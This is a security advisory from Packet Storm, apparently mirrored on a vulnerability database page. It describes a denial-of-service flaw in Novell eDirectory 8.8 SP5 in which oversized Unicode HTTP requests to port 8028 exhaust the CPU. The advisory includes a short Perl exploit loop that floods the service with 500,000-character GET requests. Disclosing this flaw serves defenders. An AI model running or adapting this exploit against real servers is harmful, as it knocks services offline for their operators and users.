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Novell eDirectory 8.8 SP5 Denial Of Service

🗓️ 10 Sep 2009 00:00:00Reported by Hellcode ResearchType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 19 Views

Novell eDirectory 8.8 SP5 DoS vulnerability through Unicode strings in Http Reques

Code
`Affected Software:  
Novell eDirectory 8.8 SP5  
  
Vulnerability Description:  
Novell eDirectory 8.8 SP5 is vulnerable to a denial of service attack.  
If a remote attacker sends Unicode strings with Http Request to "8028 port"   
("8028" is the default port of Novell eDirectory Dhost Http Server),   
the attacker can cause the system to consume 100% of the CPU resources.  
  
Credits to:  
Hellcode Research  
  
Original Advisory:   
http://tcc.hellcode.net/advisories/hellcode-adv003.txt  
  
Exploit:  
  
- snip-  
....  
  
$data = "?" x 500000;  
  
for($i= 0; $i < 1000; $i++)  
{  
$sock= new IO::Socket::INET( PeerAddr => "localhost",  
PeerPort => 8028,  
  
Proto => 'tcp',  
Type => SOCK_STREAM,   
  
);  
  
print $sock "GET /$data HTTP/1.0\r\n\r\n";  
  
close($sock);  
}  
  
...  
- snip -  
`

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10 Sep 2009 00:00Current
7.4High risk
Vulners AI Score7.4
19